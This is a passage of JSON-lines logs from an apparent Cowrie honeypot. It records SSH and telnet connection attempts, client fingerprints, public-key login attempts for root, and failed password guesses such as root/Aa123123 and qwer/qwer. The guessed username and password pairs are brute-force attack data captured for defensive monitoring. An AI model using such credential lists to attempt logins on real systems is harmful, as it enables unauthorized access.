sage":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:12.484668Z","src_ip":"45.153.34.97","session":"d5e78ca13303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amirreza","password":"amirreza","message":"login attempt [amirreza/amirreza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:12.876516Z","src_ip":"45.153.34.97","session":"d5e78ca13303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:14.032698Z","src_ip":"45.153.34.97","session":"d5e78ca13303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":38442,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b190aab5358","protocol":"ssh","message":"New connection: 45.153.34.97:38442 (10.17.0.5:22) [session: 8b190aab5358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:16.266580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:16.272488Z","src_ip":"45.153.34.97","session":"8b190aab5358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:16.377281Z","src_ip":"45.153.34.97","session":"8b190aab5358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"alfred","message":"login attempt [alfred/alfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:16.671849Z","src_ip":"45.153.34.97","session":"8b190aab5358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:17.787189Z","src_ip":"45.153.34.97","session":"8b190aab5358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.63.58","src_port":34522,"dst_ip":"10.17.0.5","dst_port":22,"session":"de96f7e52661","protocol":"ssh","message":"New connection: 199.127.63.58:34522 (10.17.0.5:22) [session: de96f7e52661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:18.710546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:18.716717Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:18.753439Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:3d:9c:2a:58:f0:26:3e:6b:8d:9a:5b:fc:a5:5e:19","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINgq4ZKgh51u4dFZrCleKMMpxIrCY81cqdGBkvURllLm","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b7:3d:9c:2a:58:f0:26:3e:6b:8d:9a:5b:fc:a5:5e:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:18.911724Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:3d:9c:2a:58:f0:26:3e:6b:8d:9a:5b:fc:a5:5e:19","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINgq4ZKgh51u4dFZrCleKMMpxIrCY81cqdGBkvURllLm","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:18.918352Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:41:c7:d3:02:e9:dc:20:b4:bc:47:4e:c9:c3:37:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3JkMQfreeeuHRZ2VQ4Aryg3TgF3PLaqDd1l3Zubbs7nyGUEKIbTtYTMqnWFlEe/FubnrZOwwcqQ6yp56L0IP9tn5Gsy+xB1n61yt0hZA6HNiGN0yXWP7C/Ibc2aTj2HLOYac21EDih6jKz+hvKqUV/86WxDeXBU/HIKQeMs1Ixa1CF/UjPyjtrP3ZBzhdbvvIcEmy3QADLTxb0TK08XAK0OFRAG42nBZY7go9Y5elqrYSwWyOvBBz1PBKDPi4jFwBHfGLGw+udzQKT9MrB0ojOeb8Dtk8uSzQsFF7NR4bWoXWxg8QoWkzDFaEaxLeCEKw/1eqlnQFeJ5F7SHMZtmR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:41:c7:d3:02:e9:dc:20:b4:bc:47:4e:c9:c3:37:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:18.960646Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:41:c7:d3:02:e9:dc:20:b4:bc:47:4e:c9:c3:37:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3JkMQfreeeuHRZ2VQ4Aryg3TgF3PLaqDd1l3Zubbs7nyGUEKIbTtYTMqnWFlEe/FubnrZOwwcqQ6yp56L0IP9tn5Gsy+xB1n61yt0hZA6HNiGN0yXWP7C/Ibc2aTj2HLOYac21EDih6jKz+hvKqUV/86WxDeXBU/HIKQeMs1Ixa1CF/UjPyjtrP3ZBzhdbvvIcEmy3QADLTxb0TK08XAK0OFRAG42nBZY7go9Y5elqrYSwWyOvBBz1PBKDPi4jFwBHfGLGw+udzQKT9MrB0ojOeb8Dtk8uSzQsFF7NR4bWoXWxg8QoWkzDFaEaxLeCEKw/1eqlnQFeJ5F7SHMZtmR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:18.965151Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:79:1e:de:e5:d8:b2:32:28:0a:20:a2:09:91:f1:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo6CVeopKhoxSamyrZypcfrDr78i79oRpyL9ytY4WHeNsMFUYr2r8vSyg7DRDaVJEA+CUP8M2L7WCnQvxqZTVHwqrJCY87HzH0DHL1GRxwD4tfMcXl0o7jBPZ8lEqIEl2jU6MNzzu/3jZ0tLNc1f8jrYrnn0gxbe2gFaTiQg23fiCMgPlsJwP778tEbcFBjwsy/4PnxBa66UNpAAfRHRp49P3uVavdWiLjQodfavGIdHOg9yjv9S3sEPiVUQAYfBYfHCuHv3uB/FMkyKiuNYGZ5bPj+9JCmQ2oX+q6ZabGtcFX+KtrxaG5l/6A0+tutYWQj4PvKob5fczsPwmJ+CzV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:79:1e:de:e5:d8:b2:32:28:0a:20:a2:09:91:f1:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:19.004703Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:79:1e:de:e5:d8:b2:32:28:0a:20:a2:09:91:f1:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo6CVeopKhoxSamyrZypcfrDr78i79oRpyL9ytY4WHeNsMFUYr2r8vSyg7DRDaVJEA+CUP8M2L7WCnQvxqZTVHwqrJCY87HzH0DHL1GRxwD4tfMcXl0o7jBPZ8lEqIEl2jU6MNzzu/3jZ0tLNc1f8jrYrnn0gxbe2gFaTiQg23fiCMgPlsJwP778tEbcFBjwsy/4PnxBa66UNpAAfRHRp49P3uVavdWiLjQodfavGIdHOg9yjv9S3sEPiVUQAYfBYfHCuHv3uB/FMkyKiuNYGZ5bPj+9JCmQ2oX+q6ZabGtcFX+KtrxaG5l/6A0+tutYWQj4PvKob5fczsPwmJ+CzV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:19.008895Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:c1:b3:d8:15:3f:bb:d3:8c:63:6a:c2:36:d4:67:4a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0fFn3kCwMSwpDQslCF1NkUB0bZGE/cbXyLagqZywjr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 18:c1:b3:d8:15:3f:bb:d3:8c:63:6a:c2:36:d4:67:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:19.047850Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:c1:b3:d8:15:3f:bb:d3:8c:63:6a:c2:36:d4:67:4a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0fFn3kCwMSwpDQslCF1NkUB0bZGE/cbXyLagqZywjr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:19.051676Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:7c:29:f7:f0:30:52:46:6a:8c:be:24:38:cb:49:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzIQ1ld6T+jxjRU640ppqh/W+ABdreG4MsSxRi8eAEdurm65rngNtXZmRLngEE+U7t+iUb5JksOXIupcelS5EAKepHoQA1rrriWdLqK267Q8PuVWC6MdKban2KMzRP5aWVVJKd3os2eiDGSv8aDwUI/StJj+KfMoM5rNQBxX1nlmpJAmI5epSKIfOhy12AIagfSMrAG1XOvq+cpRQc2p1YYaYvgLgeWpvjfA7QfrDyv4OxjA47bR/fIvd6P9awIPFNlY7wUjTvJIt4JLaRvX2KFLM/tW7o5VOS96U3FfOxzXjAWQaZ85cSoLCJLz58NIm7HVLh75AE3oXpxd16TkXVbE0ZcmEt83aAO+IyMCRKGg9rrZrVGNz5szORMLM4uzjWBuBhD5ocWl9NUHhs0ftibtdsTibF9bDAOFq3BcUTXEB8MkgkOcS0jzgmG0RwPQOaXh70m6rYxgUSxVhlIZOd2+KyPiqng56rbKPVgav4XaA7LEIZmGt1p3bJId4sras=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:7c:29:f7:f0:30:52:46:6a:8c:be:24:38:cb:49:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:19.096354Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:7c:29:f7:f0:30:52:46:6a:8c:be:24:38:cb:49:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzIQ1ld6T+jxjRU640ppqh/W+ABdreG4MsSxRi8eAEdurm65rngNtXZmRLngEE+U7t+iUb5JksOXIupcelS5EAKepHoQA1rrriWdLqK267Q8PuVWC6MdKban2KMzRP5aWVVJKd3os2eiDGSv8aDwUI/StJj+KfMoM5rNQBxX1nlmpJAmI5epSKIfOhy12AIagfSMrAG1XOvq+cpRQc2p1YYaYvgLgeWpvjfA7QfrDyv4OxjA47bR/fIvd6P9awIPFNlY7wUjTvJIt4JLaRvX2KFLM/tW7o5VOS96U3FfOxzXjAWQaZ85cSoLCJLz58NIm7HVLh75AE3oXpxd16TkXVbE0ZcmEt83aAO+IyMCRKGg9rrZrVGNz5szORMLM4uzjWBuBhD5ocWl9NUHhs0ftibtdsTibF9bDAOFq3BcUTXEB8MkgkOcS0jzgmG0RwPQOaXh70m6rYxgUSxVhlIZOd2+KyPiqng56rbKPVgav4XaA7LEIZmGt1p3bJId4sras=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:19.100437Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:19.139116Z","src_ip":"199.127.63.58","session":"de96f7e52661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":38452,"dst_ip":"10.17.0.5","dst_port":22,"session":"1431728f7d93","protocol":"ssh","message":"New connection: 45.153.34.97:38452 (10.17.0.5:22) [session: 1431728f7d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:20.079257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:20.084617Z","src_ip":"45.153.34.97","session":"1431728f7d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:20.177713Z","src_ip":"45.153.34.97","session":"1431728f7d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qwer","password":"qwer","message":"login attempt [qwer/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:20.471935Z","src_ip":"45.153.34.97","session":"1431728f7d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:21.566943Z","src_ip":"45.153.34.97","session":"1431728f7d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.92227506637573,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:22.591724Z","src_ip":"152.42.224.71","session":"6b127260edc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33838,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfebd1b73aa3","protocol":"telnet","message":"New connection: 152.42.224.71:33838 (10.17.0.5:23) [session: cfebd1b73aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:23.725528Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":51990,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b0140ecb12a","protocol":"ssh","message":"New connection: 45.153.34.97:51990 (10.17.0.5:22) [session: 3b0140ecb12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:23.804390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:23.809836Z","src_ip":"45.153.34.97","session":"3b0140ecb12a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:23.894721Z","src_ip":"45.153.34.97","session":"3b0140ecb12a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:24.394065Z","src_ip":"45.153.34.97","session":"3b0140ecb12a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33846,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0ee6ee2bed9","protocol":"telnet","message":"New connection: 152.42.224.71:33846 (10.17.0.5:23) [session: d0ee6ee2bed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:24.736829Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:25.481500Z","src_ip":"45.153.34.97","session":"3b0140ecb12a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":51996,"dst_ip":"10.17.0.5","dst_port":22,"session":"050c3df14dc8","protocol":"ssh","message":"New connection: 45.153.34.97:51996 (10.17.0.5:22) [session: 050c3df14dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:27.986072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:27.991120Z","src_ip":"45.153.34.97","session":"050c3df14dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:15:28.075537Z","src_ip":"45.153.34.97","session":"050c3df14dc8","protocol":"ssh"}
